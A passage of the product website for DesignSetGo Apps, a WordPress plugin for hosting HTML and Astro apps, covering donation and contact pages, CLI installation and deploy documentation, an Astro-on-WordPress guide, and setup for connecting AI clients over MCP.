Prototype in iframe first, then promote to inline once the app is stable and you want native SEO and site ownership.

## See the exact contract in the docs. 

The website summary is high-level. The manifest, bridge methods, and additive v1.x features live in the repo specs. 

[Install free plugin](/downloads/designsetgo-apps.zip) [Read docs](/docs/) [See pricing](/pricing/) [How it works](/how-it-works/)

## Support the plugin

URL: https://designsetgo.dev/support/

Support the plugin

# Chip in to keep the plugin moving. 

 DSGo Apps is built by one person. A donation pays for the dev WordPress install, the build pipeline, and another week of writing code. Pick an amount and check out, your card is processed on this site by WooCommerce, no third-party redirect. 

![Donate to the DesignSetGo Apps plugin](https://designsetgo.dev/wp-content/uploads/2026/05/donate-768x512.png) Live WooCommerce product 

Donate to our plugin

## Pick an amount.

Every contribution lands directly in the plugin’s WooCommerce on this site. Amounts from $5 to $1,000.

Choose a donation amount $5 $10 $15 $25 $50 $100 $200 $1,000 

 Donate $25 [ Or open the product page → ](https://designsetgo.dev/product/donate-to-our-plugin/) 

### What you're looking at

 This card is a DSGo App. The image, title, and amount tiles came from `dsgo.commerce.products.get(54)` at page load. The button calls `dsgo.commerce.cart.addItem` and `dsgo.commerce.checkout.openHostedPage`. Same bridge any DSGo App on any WordPress site uses. 

* **No keys in the app.** The bridge proxies to the WC Store API server-side. The bundle never sees auth tokens.
* **Permission-gated.** The manifest declares `permissions.read: ["commerce"]` plus the endpoint groups ( `products`, `cart`, `checkout`). Anything outside that list returns `permission_denied`.
* **Same-origin checkout.** The cart cookie carries from this page into `/checkout/`, no redirect to a third party.

Capability spotlight

## Bring your WooCommerce store into a DSGo App. 

 If your site runs Woo, any DSGo App can read products and variations, manage a cart, and hand off to your hosted checkout. Sandboxed iframe or inline page, same surface. Apps declare what they need; the bridge enforces it. 

Products 

### Read your catalog.

List by category, tag, price range, on-sale flag, or featured. Variable products expose their attributes and pre-priced variations. Render a product grid, a single-item donation card, or a custom storefront; the data shape is the same. 

`dsgo.commerce.products.list({ category, on_sale })` 

Cart & checkout 

### Add to cart, ship to checkout.

Add a product (with variation), update or remove a line, then open the hosted WC checkout. WooCommerce's own session cookie carries the cart across the navigation; no token plumbing in the app. 

`dsgo.commerce.cart.addItem(...); checkout.openHostedPage()` 

Manifest

### Two lines opt the app in.

Add `"commerce"` to `permissions.read`, then declare a `commerce` block listing the providers and endpoint groups your app actually uses. Anything else stays out of reach. 

dsgo-app.json JSON 

{
  "permissions": { "read": ["commerce"] },
  "commerce": {
    "providers": ["woocommerce"],
    "endpoints": ["products", "cart", "checkout"]
  }
}

## Thanks for keeping this going. 

If a donation is not a fit, installing the plugin and telling a friend works just as well. 

[Install plugin](/downloads/designsetgo-apps.zip) [See examples](/examples/) [See pricing](/pricing/)

## Contact

URL: https://designsetgo.dev/contact/

Contact

# Get in touch with the DesignSetGo team. 

 Licensing questions, sales, partnership ideas, or just feedback. This form posts straight into our wp-admin inbox on this site. No third-party form service, no email send, no inbox to lose track of. 

Your name 

Email address 

 Subject (optional) 

Message 

Company (leave blank) 

 Send message 

 Form not loading? Email [justin@nealey.pro](mailto:justin@nealey.pro) directly. 

What this form is

## A DSGo App calling an ability.

The submit button calls `dsgo.abilities.invoke('marketing/contact-submit')` through the DesignSetGo bridge. A tiny companion plugin on this WordPress site registers the ability and stores the message as a private CPT. We see it in wp-admin like any other post. 

* ✓ **No third-party form service.** Your message goes from this page into our WordPress database, nowhere else.
* ✓ **No email out.** We read submissions in wp-admin. No deliverability roulette.
* ✓ **Bridge-gated.** The marketing app manifest declares `abilities.consumes: ["marketing/contact-submit"]`. The DesignSetGo plugin enforces it.

## Documentation

URL: https://designsetgo.dev/docs/

Documentation

# Five minutes from installed to shipped. 

Three paths to a live app. Drop a saved HTML page in wp-admin (Path A). Upload a packaged bundle with a manifest (Path B). Or scaffold and deploy from your editor with the CLI (Path C). The [Riff AI builder](/riff/) adds the in-admin Pro path, and [Connect](/connect/) lets claude.ai, chatgpt.com, Cursor, or Claude Desktop build apps over MCP. 

[Install free plugin](/downloads/designsetgo-apps.zip) 

#### Getting started

* [Install the plugin](#install)
* [Path A · upload an artifact](#path-a)
* [Path B · upload a bundle](#path-b)
* [Path C · use the CLI](#path-c)
* [Compatibility](#compatibility)

#### Reference and troubleshooting

* [Developer reference](/docs/reference/)
* [Troubleshooting and hosting](/docs/troubleshooting/)

#### More

* [Astro on WordPress](/docs/astro-on-wordpress/)
* [Agent skills pack](https://github.com/DesignSetGo/skills)
* [Bridge client (GitHub)](https://github.com/DesignSetGo/app-client)

## Install the plugin

Download the [**free plugin zip**](/downloads/designsetgo-apps.zip), then in wp-admin go to **Plugins → Add New → Upload Plugin**, choose the zip, and activate. (A WordPress.org listing is in review and this page will update once it is live.) The plugin works on WordPress 6.9 and up; WordPress 7.0 (May 20, 2026) is required for `dsgo.ai.prompt()` and the in-admin Riff builder. Ability consumption depends on the site's Abilities API availability and degrades when the API or a named ability is absent.

Once activated you’ll see **DSGo Apps** in the wp-admin sidebar.

Free vs Pro

### Which paths work on which plan?

| Path / feature                                      | Free                     | Pro                        | Studio                     |
| --------------------------------------------------- | ------------------------ | -------------------------- | -------------------------- |
| Path A, upload an HTML artifact in wp-admin         | yes, 1 active app        | yes, unlimited active apps | yes, unlimited active apps |
| Path B, upload a packaged bundle in wp-admin        | yes, 1 active app        | yes, unlimited active apps | yes, unlimited active apps |
| Path C, CLI scaffold + deploy from your editor      | init only; deploy is Pro | yes, unlimited active apps | yes, unlimited active apps |
| Riff, in-admin AI builder                           | no                       | included                   | included                   |
| Apps-as-Abilities publishing ( abilities.publishes) | installs, inactive       | active                     | active                     |
| Scheduled jobs / webhook endpoints                  | installs, inactive       | active                     | active                     |
| Live dynamic routes ( wp:posts, wc:products)        | installs, inactive       | active                     | active                     |
| Multi-site CLI deploy ( \--sites=a,b,c)             | no                       | Studio tier                | included                   |
| White-label                                         | no                       | no                         | included                   |

Free installs as many bundles as you want via wp-admin upload but only one is active at a time (switchable per app in the apps list). Pro-only runtime declarations can be installed on Free, but the gated behavior stays inactive until a Pro license or trial is active. [See pricing →](/pricing/)

## Path A, Upload an artifact (no terminal)

You downloaded a Claude, ChatGPT, v0, or static HTML artifact. Install it without leaving wp-admin:

1. WordPress admin → **DSGo Apps**.
2. Use the first-run chooser to install the starter app, or stay on **Upload artifact** and drop your `.html` or static `.zip`.
3. Confirm the app ID and display name, then install.
4. Use the success actions to open the app, copy the URL, embed it in a post, or make it your site’s home page.

To uninstall, hover the row in **Installed apps** and click **Delete**.

## Path B, Upload a packaged bundle

If you have a built bundle with a `dsgo-app.json` manifest, choose **Upload bundle** on the DSGo Apps screen, drop the zip, review the capability list, rendering mode, and network policy, then approve the install.

## Path C, Use the CLI

Recommended for iteration speed. You’ll use `@designsetgo/cli`. The CLI is open and `apps init` works locally, but CLI deploy to a site is a [Pro](/pricing/) feature; the server gates Application-Password installs at the plan boundary. Free covers 1 active app via the wp-admin upload paths (Path A and Path B).

Agent users

### Want your AI agent to know all this without reading the page?

`npx skills add DesignSetGo/skills` drops five [Agent Skills](https://www.anthropic.com/news/agent-skills) (scaffold, manifest, bridge, CLI, abilities) into Claude Code, Cursor, Codex, or Claude Desktop. The agent loads them on demand, so it can answer bridge and manifest questions before `apps init` runs. See [DesignSetGo/skills](https://github.com/DesignSetGo/skills). 

### One-time setup on your site

1. Activate the **DesignSetGo Apps** plugin.
2. Generate a WordPress **Application Password**: `https://your-site.com/wp-admin/profile.php#application-passwords-section`
3. Copy the 24-character value, you’ll see it once.

### Scaffold an app

**shell**`npx`

```
npx @designsetgo/cli apps init my-app
cd my-app
```

Creates a single-file starter ( `index.html` \+ `dsgo-app.json` \+ `CLAUDE.md`) with no build step. Add `--astro` if you want the multi-page Astro project with file-based routing instead, then `npm install` inside it.

### Authenticate

**shell**`login`

```
npx @designsetgo/cli apps login
```

You’ll be prompted for the site URL, your WordPress username, and the Application Password you copied. Credentials are stored at `~/.config/designsetgo/credentials.json` with `0600` permissions. Run `logout` to remove them.

### Iterate locally

**shell**`dev`

```
npx @designsetgo/cli apps dev
```

Starts a local dev server at `http://localhost:3838` with hot reload and a mocked bridge. No WP site needed. Add `--bridge proxy --site=https://your-site.com` (Pro) to route bridge calls to your real site. File saves reflect in the iframe within 500ms.

### Deploy

**shell**`deploy`

```
npx @designsetgo/cli apps deploy --build
```

Runs `npm run build`, shows you the capabilities the app is asking for, pushes the bundle, and prints the live URL. Re-running `deploy` updates the existing install, same app id means atomic update.

**Preview before going live (Pro):** Add `--preview` to get a shareable URL at `/dsgo-preview/slug/token/` without touching the installed-apps catalog. Share with clients, then run `--promote <id>` to install when they approve. Preview URLs expire after 7 days (configurable with `--ttl`).

## Compatibility

The plugin works on WordPress 6.9 and up. WordPress 7.0 is required for `dsgo.ai.prompt()` and Riff. Commerce features require WooCommerce. Static routes work on Free; dynamic routes backed by live sources are Pro-gated. When Pro is active, `wc:products` resolves to an empty list if WooCommerce is inactive.

Trust model matters too: use iframe mode for untrusted bundles or saved artifacts; use inline mode when the app is reviewed, trusted, and needs native SEO, root-mount behavior, or multi-page crawlable routes.

## Reference and troubleshooting

The manifest schema, bridge API, CLI commands, permissions, and hosting troubleshooting now live on two dedicated pages.

[ Manifest The dsgo-app.json schema: routes, permissions, and claim rules. ](/docs/reference/#manifest) [ Bridge API Every dsgo.\* method, what it returns, and the permission it needs. ](/docs/reference/#bridge) [ CLI commands Scaffold, deploy, and manage apps from your terminal. ](/docs/reference/#cli) [ Permissions What each permission grants and what the install dialog shows. ](/docs/reference/#permissions) [ Caching and CDNs How DSGo Apps works with page caches, CDNs, and hosting. ](/docs/troubleshooting/#caching) [ Troubleshooting Fixes for the errors people hit most: REST 401s, CSP rejections, and 404s. ](/docs/troubleshooting/#troubleshoot) 

Something missing? [Email us](mailto:hi@designsetgo.dev). The bridge spec is public; the bridge client and CLI are MIT-licensed on GitHub.

## Astro on WordPress

URL: https://designsetgo.dev/docs/astro-on-wordpress/

[Docs](/docs/) / Guide 

# Build an Astro site on WordPress. 

 Astro for the front-end, WordPress for the CMS, auth, AI, commerce, and media library. One bundle, one domain, one deploy. This page is the reference for getting an Astro project running as a DSGo App: manifest shape, base path, the bridge, dynamic routes from live WP data, and root-mount mode. For the broader DSGo surface (CLI, permissions, all bridge methods), see [the main docs](/docs/). 

#### Getting started

* [Prerequisites](#prerequisites)
* [Scaffold the project](#scaffold)
* [astro.config.mjs](#astro-config)
* [The manifest](#manifest)

#### Writing the app

* [Add pages](#pages)
* [Link between pages](#links)
* [Read WordPress data](#bridge)
* [Declare permissions](#permissions)
* [Render block markup](#block-styles)
* [Dynamic routes from live data](#dynamic-routes)

#### @designsetgo/astro

* [Vertical-pack components](#astro-package)
* [Install the package](#astro-install)
* [Add the integration](#astro-integration)
* [Import a component](#astro-import)
* [Component catalog](#astro-catalog)
* [Write vs check mode](#astro-modes)

#### Modes

* [Prefixed mount (default)](#prefixed)
* [Root mount (whole site)](#root-mount)

#### Ship

* [Build and deploy](#build-deploy)
* [Caching](#caching)
* [Common pitfalls](#pitfalls)

#### More

* [Main docs](/docs/)
* [Bridge API](/docs/reference/#bridge)
* [Full manifest spec](/docs/reference/#manifest)

## Prerequisites

* Node 20+ and a terminal.
* A WordPress site (6.9+) with the **DesignSetGo Apps** plugin activated.
* A WordPress [Application Password](/docs/#path-c) for that site.

Free covers 1 active static app. Live-source dynamic routes ( `wp:posts`, `wc:products`, etc.), unlimited active apps, and CLI deploy require [Pro](/pricing/).

## Scaffold the project

**shell**`apps init --astro`

```
npx @designsetgo/cli apps init my-astro-site --astro
cd my-astro-site
npm install
```

The Astro starter ships an `astro.config.mjs` already wired to the DSGo manifest, a base `Layout.astro`, three example pages, a `CLAUDE.md` documenting the bridge for agents, and a `dsgo-app.json` with the home route pre-declared.

## astro.config.mjs

Astro needs three things to produce a bundle DSGo can serve: a `base` matching the URL the plugin mounts the app at, static output, and directory-format routes so every page emits as `some-route/index.html`.

**astro.config.mjs**`defineConfig`

```
import { defineConfig } from 'astro/config';
import { readFileSync } from 'node:fs';
import { fileURLToPath } from 'node:url';

const manifest = JSON.parse(
  readFileSync(fileURLToPath(new URL('./dsgo-app.json', import.meta.url)), 'utf8'),
);

export default defineConfig({
  base: manifest.mount?.mode === 'root' ? '/' : `/apps/${manifest.id}/`,
  output: 'static',
  trailingSlash: 'always',
  build: { format: 'directory' },
  vite: { build: { assetsInlineLimit: 0 } },
});
```

* **`base`** — reads the manifest so flipping `mount.mode` between `"prefixed"` and `"root"` doesn’t require a config edit. Astro rewrites internal asset URLs to match.
* **`build.format: 'directory'`** — `src/pages/about.astro` emits at `dist/about/index.html`, which is what the manifest’s `file` field references.
* **`vite.build.assetsInlineLimit: 0`** — prevents Vite from inlining small assets as `<script>` bodies, which the DSGo CSP sanitizer rejects.

## The manifest

Every page Astro produces must be declared in `dsgo-app.json` under `routes`. The `file` path is bundle-relative (relative to `dist/`), so an Astro page at `src/pages/pricing.astro` with `format: 'directory'` maps to `file: "pricing/index.html"`.

**dsgo-app.json**`routes[]`

```
{
  "manifest_version": 1,
  "id": "my-astro-site",
  "name": "My Astro site",
  "version": "0.1.0",
  "isolation": "inline",
  "entry": "index.html",
  "routes": [
    { "path": "/",        "file": "index.html",         "title": "Home" },
    { "path": "/about",   "file": "about/index.html",   "title": "About" },
    { "path": "/pricing", "file": "pricing/index.html", "title": "Pricing" }
  ],
  "permissions": { "read": ["site_info"], "write": [] }
}
```

Make sure the manifest ends up _inside_ the bundle the CLI uploads. The easiest path is to drop it into Astro’s `public/` folder (it’s copied verbatim into `dist/`), or have the build script copy it: `"build": "astro build && cp dsgo-app.json dist/"`.

`routes[0]` must have `path: "/"`. The home route is mandatory.

## Add pages

Write Astro pages as you normally would. There’s no DSGo build plugin, no special component, no required `getStaticPaths` contract &mdash; just Astro.

**src/pages/about.astro**`Astro`

```
---
import Layout from '../layouts/Layout.astro';
---
<Layout title="About">
  <h1>About this site</h1>
  <p>Built with Astro, deployed to WordPress.</p>
</Layout>
```

Add the matching entry under `routes` in the manifest and the page will resolve at the configured base path.

## Link between pages

Astro doesn’t rewrite `href` values, only asset URLs. For internal links, use `import.meta.env.BASE_URL` so prefixed and root mounts both work without code changes:

**Layout.astro**`BASE_URL`

```
<a href={`${import.meta.env.BASE_URL}pricing`}>Pricing</a>
<a href={`${import.meta.env.BASE_URL}about`}>About</a>
```

For programmatic navigation inside the app, prefer `dsgo.router.navigate(path)` — the parent validates the new path stays inside the app mount and updates the browser URL safely. Direct `history.pushState` calls outside the mount are blocked.

## Read WordPress data

Import `@designsetgo/app-client` in any Astro page or component `<script>`. The bridge runs in the browser at view time, so the page itself stays a static asset crawlers can index.

**src/pages/index.astro**`bridge`

```
---
import Layout from '../layouts/Layout.astro';
---
<Layout title="Latest posts">
  <h1>From the blog</h1>
  <ul id="posts"></ul>
</Layout>

<script>
  import { dsgo } from '@designsetgo/app-client';

  await dsgo.ready;
  const { items } = await dsgo.posts.list({ per_page: 5 });

  const ul = document.getElementById('posts');
  for (const post of items) {
    const li = document.createElement('li');
    const a = document.createElement('a');
    a.href = post.link;
    a.textContent = post.title;
    li.appendChild(a);
    ul.appendChild(li);
  }
</script>
```

The full bridge surface (posts, pages, user, media, AI, commerce, storage, abilities, email, HTTP, router) is documented in [the bridge reference](/docs/reference/#bridge).

## Declare permissions

Bridge methods are gated by what the manifest declares. Add the permission the call needs before deploying or the install will be rejected at preflight.

**dsgo-app.json**`permissions.read`

```
"permissions": {
  "read": ["site_info", "posts", "user"],
  "write": []
}
```

Permissions surface to the site admin at install time, grouped into seven buckets with a one-sentence justification per bucket. See [permissions reference](/docs/reference/#permissions).

## Render block markup

Posts and pages returned from the bridge include the body as block-formatted HTML on `post.content`. Dropping it into the DOM gives you the markup but not the styles WordPress would emit on its front end (Cover has no min-height, Columns aren’t flex, etc.). Opt in via the manifest, then call the SDK helper after rendering:

**dsgo-app.json**`content.blockStyles`

```
"content": { "blockStyles": ["core", "auto"] }
```

**app code**`applyBlockStyles`

```
import { dsgo } from '@designsetgo/app-client';

const post = await dsgo.posts.get(id);
container.innerHTML = post.content;
dsgo.content.applyBlockStyles(post);   // idempotent, safe on every route change
```

Add `"designsetgo"` for partner-plugin styles, or `"themeStyles": "global"` to ship the theme’s compiled `theme.json` CSS. Combined payload is capped at 256 KB per post.

## Dynamic routes from live data

For content the WordPress editor owns (posts, products, custom post types), don’t ship one Astro page per item &mdash; declare a single template route with a `:param` placeholder and point it at a live dataset. The plugin resolves it at request time and substitutes fields into the template.

**dsgo-app.json**`routes[].dataset`

```
{
  "path": "/posts/:slug",
  "file": "post/index.html",
  "dataset": { "source": "wp:posts", "id_field": "slug" }
}
```

The template at `src/pages/post.astro` uses `{{title}}`, `{{excerpt}}`, `{{content}}` placeholders (server-substituted) or, for richer rendering, calls the bridge with `dsgo.context.routeParams.slug` to fetch the full post object.

| source        | Resolves to                        |
| ------------- | ---------------------------------- |
| wp:posts      | Published posts ( post\_type=post) |
| wp:pages      | Published pages ( post\_type=page) |
| wp:cpt:<slug> | A registered custom post type      |
| wc:products   | Published WooCommerce products     |

Live sources are [Pro](/pricing/). On Free, the app installs and static routes still serve; live-source routes stay inactive until Pro is active. Results cache per app+route+version for one hour; saves and deletes on the underlying post type invalidate automatically.

## @designsetgo/astro: vertical-pack components

If you are building a WooCommerce front-end (and later: real estate, fitness, food, local services), [@designsetgo/astro](https://www.npmjs.com/package/@designsetgo/astro) is a separate npm package with pre-built Astro components for every DSGo vertical pack, plus a tiny Astro integration that auto-merges the components’ required permissions, abilities, and commerce endpoints into your `dsgo-app.json` at build time. v0.1.0 ships 14 WooCommerce components.

Useful if you are vibe-coding the project with Claude Code, Cursor, or Codex: as the AI adds and removes component imports, the integration keeps `dsgo-app.json` honest. CI’s build fails if your manifest drifts from what the imports actually need.

## Install the package

**shell**`npm install`

```
npm install @designsetgo/astro
```

Astro 4 or 5 is a peer dependency you already have. The bridge client ( `@designsetgo/app-client`) is an optional peer; components import it transitively, so you only need it for your own `<script>` blocks.

## Add the integration

**astro.config.mjs**`dsgoAstro()`

```
import { defineConfig } from 'astro/config';
import dsgoAstro from '@designsetgo/astro/integration';

export default defineConfig({
  integrations: [
    dsgoAstro({ manifest: './dsgo-app.json' }),
  ],
});
```

One line in `astro.config.mjs`. On every build the integration scans your project for `@designsetgo/astro/<pack>` imports, loads each component’s manifest from `node_modules`, unions its required permissions into your `dsgo-app.json` (preserving every other key), and emits a `.astro/dsgo-window.d.ts` shim so `window.dsgo` autocompletes against the permissions you actually declared.

## Import a component

**src/pages/cart.astro**`component import`

```
---
import { SmartCartUpsell, ProductQa } from '@designsetgo/astro/woo';
---
<SmartCartUpsell count={4} heading="You might also like" />
<ProductQa productId={42} />
```

Each component renders its own markup, ships its own scoped CSS, and self-boots a small client bundle inside an IIFE keyed to its `data-dsgo-component` slug. Two components on the same page are slug-isolated; bundle A’s `mount` will never fire for bundle B’s roots.

## Component catalog (v0.1.0)

WooCommerce pack ( `@designsetgo/astro/woo`): 

| Component             | What it does                                                                                      | Reads                              |
| --------------------- | ------------------------------------------------------------------------------------------------- | ---------------------------------- |
| SmartCartUpsell       | Recommends 3 to 4 products from the visitor’s current-cart categories.                            | commerce, abilities                |
| AbandonedCartRecovery | One re-engagement email per 24h to the logged-in customer who abandons checkout.                  | commerce, abilities, email, user   |
| BundleBuilder         | Multi-product bundle composer with live total; one-click add-to-cart.                             | commerce, abilities                |
| CheckoutFields        | Conditional gift message, delivery date, and age verification fields above WC checkout.           | commerce, abilities, user          |
| FitRecommender        | Three-question fit quiz; remembers the answer per visitor.                                        | commerce, storage                  |
| GiftcardBalance       | Public balance lookup against the merchant’s gift-card provider, credentials in the secret vault. | http                               |
| LoyaltyDashboard      | Logged-in customer’s points and tier; merchant-side point logic stays in abilities.               | commerce, abilities, user          |
| PickupScheduler       | Calendar widget for storefront pickup; one admin email per booking.                               | email (admin)                      |
| PostPurchaseSurvey    | Three-question survey on the WC thank-you page; digest email to admin.                            | email (admin)                      |
| PreorderSignup        | Email-signup gate on out-of-stock product pages; batched admin notification.                      | commerce, email (admin)            |
| ProductQa             | Visitor asks a question; AI answers using only the product description and admin-curated facts.   | commerce, ai, user                 |
| StoreLocator          | Multi-location directory with hours, address, phone, one-tap directions.                          | storage.app                        |
| SubscriptionFaq       | AI-powered FAQ for WooCommerce Subscriptions merchants; per-member plan context.                  | ai, user                           |
| WholesaleRequest      | B2B quote request form; multi-product picker; admin notification on submit.                       | commerce, abilities, email (admin) |

Every component is behavior-preserving with its standalone-bundle counterpart in [examples/woo-\*/](https://github.com/jnealey-godaddy/designsetgo-apps/tree/main/examples); a parity test and pre-commit hook keep them in sync. Full catalog with descriptions, options, and troubleshooting lives in the [package README](https://github.com/jnealey-godaddy/designsetgo-apps/tree/main/packages/astro#readme).

## Write vs check mode

`mode: 'write'` (default) rewrites `dsgo-app.json` in place when an imported component adds permissions. `mode: 'check'` exits the build non-zero with a printed diff if the file is stale. Use `'check'` in CI so a forgotten manifest re-stage breaks the build:

**astro.config.mjs**`mode`

```
dsgoAstro({
  manifest: './dsgo-app.json',
  mode: process.env.CI ? 'check' : 'write',
})
```

The merge is additive only; the integration never removes permissions. Local dev mode debounces merges by 200ms so saving a file that adds an import does not thrash the manifest.

## Prefixed mount (default)

Without a `mount` block, the app serves at `/apps/<id>/...`. Good for adding a tool, microsite, or marketing surface alongside an existing WP site without changing what’s at `/`.

## Root mount (whole site)

To make the Astro app _be_ the site, add to the manifest:

**dsgo-app.json**`mount.mode`

```
"mount": { "mode": "root" }
```

The app now serves at `/`. The Astro routes you declared own the URLs WordPress would otherwise serve; any path WP would have 404’d on falls through to the route table. Real WP pages, posts, archives, and feeds still win by default &mdash; root mode _adds_, it doesn’t shadow &mdash; so the editor can keep publishing in wp-admin.

If an Astro route deliberately needs to override WP (e.g. an app-rendered `/blog` backed by `wp:posts` that would otherwise collide with WP’s native blog archive), add `claim: "always"` to that route. See [claiming routes](/docs/reference/#claim).

## Build and deploy

**shell**`login + deploy`

```
npx @designsetgo/cli apps login --site https://yoursite.com
npx @designsetgo/cli apps deploy --build
```

`--build` runs `npm run build` first. The CLI then zips `dist/`, validates the manifest, shows the capability diff, and posts the bundle to the site’s REST endpoint. Re-running `deploy` updates the existing install atomically at the same app id.

On Free, `apps init --astro` and local builds work; `deploy` falls back to a wp-admin [bundle upload](/docs/#path-b) (Path B). On Pro, deploy from the terminal directly.

## Caching

* **Static assets self-bust.** Astro + Vite emit content-hashed filenames ( `app.BYFSNV21.css`). A new build = a new hash = automatic edge cache bust. Safe to set `max-age` to a year.
* **HTML routes are publicly cacheable** for anonymous visitors. Per-user data flows through the bridge at runtime, not the SSR’d HTML.
* **Bridge calls ( `/wp-json/dsgo/v1/*`) must not be cached.** The bridge sends `Cache-Control: no-store`; don’t override it with a CDN &ldquo;Cache Everything&rdquo; rule.
* **Root-mount asset URLs** are rewritten to `/wp-content/uploads/designsetgo-apps/<id>/...` so nginx serves them direct, bypassing PHP.

Full guidance: [caching &amp; CDNs in the main docs](/docs/troubleshooting/#caching).

## Common pitfalls

### Inline scripts rejected at deploy

The CSP sanitizer rejects inline `<script>` bodies. Set `vite.build.assetsInlineLimit: 0` in `astro.config.mjs` so Vite emits scripts as external files. For third-party origins, add the host to `runtime.csp.script_src`.

### Page returns 404 after deploy

Every URL must be declared in `routes`. The `file` path is bundle-relative ( `dist/` root); with `format: 'directory'`, `src/pages/about.astro` maps to `about/index.html`, not `about.html`.

### Root-mount asset 404s

On managed hosts (GoDaddy MWP, WP Engine), nginx may fast-path `.css`/`.js`/`.svg` requests before WordPress runs. Requires DSGo Apps 0.1.1+, which rewrites bundle asset URLs to the actual upload path. Upgrade, then re-deploy. See [troubleshooting](/docs/troubleshooting/#troubleshoot-rootmount).

### `dsgo-app.json` missing from the bundle

The manifest must be inside `dist/` when the CLI zips it. Drop it in Astro’s `public/` folder, or copy it post-build: `"build": "astro build && cp dsgo-app.json dist/"`.

### Links break when switching to root mount

Hard-coded `/apps/<id>/` hrefs won’t resolve at `/`. Always link via `${import.meta.env.BASE_URL}path` so both mount modes work without code changes.

## Where to go next

* [Full bridge API](/docs/reference/#bridge) — every method, error code, and permission scope
* [Manifest reference](/docs/reference/#manifest) — the complete `dsgo-app.json` schema
* [CLI commands](/docs/reference/#cli) — `init`, `deploy`, `doctor`, multi-site flags
* [Permissions](/docs/reference/#permissions) — the seven-bucket install dialog and what each permission grants
* [The narrative version](/blog/astro-on-wordpress/) — same workflow, walkthrough form

Something missing or unclear? [Email us](mailto:hi@designsetgo.dev).

## Connect from Claude or ChatGPT

URL: https://designsetgo.dev/connect/

Connect your AI

# Build apps from claude.ai, ChatGPT, Claude Desktop, or Cursor. 

DSGo Apps registers ability-API tools that the [WordPress MCP Adapter](https://github.com/WordPress/mcp-adapter) publishes to remote AI clients. Wire your site as a Connector once; the agent on the other side can list installed apps, generate new ones, and install them, all from inside the chat. No DSGo cloud, no extra accounts, no parallel auth. 

Before you start

## Two plugins, then your AI client.

1. **DSGo Apps plugin**, active on your site. [Pro](/pricing/) unlocks the generate / install abilities; the read abilities work on Lite.
2. **WordPress MCP Adapter plugin**, active on your site. This is the official adapter that turns registered abilities into an MCP endpoint. We do not ship a fork.
3. **An AI client** that speaks MCP. See the per-client setup below for which plans support custom Connectors / Apps.

Setup walkthroughs

## Four clients, one endpoint.

 All four clients talk to the same /wp-json/mcp/v1 route. What differs is the auth flow and the UI affordance for adding a custom tool. 

### claude.ai

**Plan:** Team or Enterprise (custom Connectors require it)

**Endpoint:** `https://your-site.com/wp-json/mcp/v1`

**Auth:** OAuth via the MCP Adapter

Settings then Connectors then Add custom connector. Paste the URL above, sign in with your WP admin, approve the requested scopes.

### chatgpt.com

**Plan:** Plus, Pro, Business, Enterprise, or Education

**Endpoint:** `https://your-site.com/wp-json/mcp/v1`

**Auth:** OAuth (Client ID Metadata) via the MCP Adapter

Apps then Add custom app. ChatGPT does not accept API key auth; the Adapter's OAuth flow handles it.

### Claude Desktop

**Plan:** Any plan, including free

**Endpoint:** `stdio bridge via @automattic/mcp-wordpress-remote`

**Auth:** WordPress Application Password

Generate an app password in Users then Profile, point Claude Desktop at the bridge command. Works on free Claude.

### Cursor

**Plan:** Any plan, including free

**Endpoint:** `stdio bridge via @automattic/mcp-wordpress-remote`

**Auth:** WordPress Application Password

Same setup as Claude Desktop. The bridge runs locally; only the agent's tool calls hit your site.

 Claude Desktop and Cursor are the no-extra-cost path. claude.ai and chatgpt.com are the 'if you live there anyway' path; we do not recommend upgrading either subscription specifically for DSGo. 

What your AI can do

## Six tools, one workflow.

 All six abilities live under the dsgo category. Reads are free; generate and install gate on a Pro license. 

| Ability             | Tier                             | Input                                                          | Returns                                                                                         | Example prompt                                              |
| ------------------- | -------------------------------- | -------------------------------------------------------------- | ----------------------------------------------------------------------------------------------- | ----------------------------------------------------------- |
| dsgo/list-apps      | Lite                             | (none)                                                         | Array of installed app summaries (id, slug, title, version, install date, dynamic-routes flag). | "What apps are installed on my site?"                       |
| dsgo/get-app        | Lite                             | app\_id                                                        | Full manifest excerpt: permissions, declared abilities, display mode, route count.              | "Tell me what the booking-widget app can do."               |
| dsgo/list-templates | Lite (catalog empty without Pro) | (none)                                                         | Starter-template catalog used by dsgo/generate-app.                                             | "What starter templates can I build from?"                  |
| dsgo/delete-app     | Lite                             | app\_id + confirm:true                                         | ok flag + the app id that was removed.                                                          | "Uninstall the mortgage calculator."                        |
| dsgo/generate-app   | Pro                              | prompt (+ optional template\_slug, from\_token, from\_app\_id) | Draft token + manifest preview. Does NOT install.                                               | "Build a class-booking widget that emails me each booking." |
| dsgo/install-app    | Pro                              | token (from dsgo/generate-app)                                 | app\_id, slug, install\_url. Call only after the user approves the preview.                     | "Looks good, install it."                                   |

 Generation is a two-step flow on purpose: dsgo/generate-app returns a draft + preview, then your AI calls dsgo/install-app only after you approve. The agent never installs implicitly. Refinement supports three modes via mutually exclusive inputs: fresh prompt, from\_token (mid-draft tweaks), or from\_app\_id (post-install edits to an existing app). 

Inference and billing

## Two AI surfaces. You pay each provider directly.

 Chatting with your AI is billed by your AI provider as usual, your Claude.ai or ChatGPT subscription. Building an app uses your site's own AI credentials, the ones you set at Settings then Connectors, and costs a few cents per app. We never hold your keys and never mark up either bill. 

[Full billing breakdown in the docs →](/docs/) 

Troubleshooting

## Common snags.

I don't see any DSGo tools in my AI client. + 

Make sure both DSGo Apps (the plugin) and the [WordPress MCP Adapter](https://github.com/WordPress/mcp-adapter) are installed and active. The Adapter publishes whatever abilities other plugins register; without it, the MCP endpoint returns an empty tool list.

The agent calls dsgo/generate-app and gets riff\_feature\_disabled. + 

Generation is a Pro feature. The discovery surface (which abilities exist) is identical between tiers, by design, so the agent sees the tool but the call returns `riff_feature_disabled` until [DSGo Pro](/pricing/) is active. Read abilities (list-apps, get-app, list-templates) and delete keep working on Lite.

The Adapter says "unauthorized" on every call. + 

For OAuth clients, revoke and re-add the Connector / App. For Application-Password clients, regenerate the password in Users then Profile and update the bridge config. The Adapter does not cache stale tokens.

Does the AI write the code, or does my site? + 

Both, doing different jobs. The agent in claude.ai/chatgpt.com runs the conversation: it asks clarifying questions, surfaces the manifest preview, and decides when to call dsgo/install-app. The actual code-generation tokens are spent server-side, inside the app-building layer that runs on your site, against whichever provider you configured in _Settings then Connectors_. We never hold your API key. [Riff details](/riff/#how-it-works).

## Build from your AI of choice. 

Pro unlocks the generate + install abilities; the read abilities work on the free plan today. 

[Install free plugin](/downloads/designsetgo-apps.zip) [See pricing](/pricing/)

## Terms of Service

URL: https://designsetgo.dev/terms/

Legal

# Terms of service.

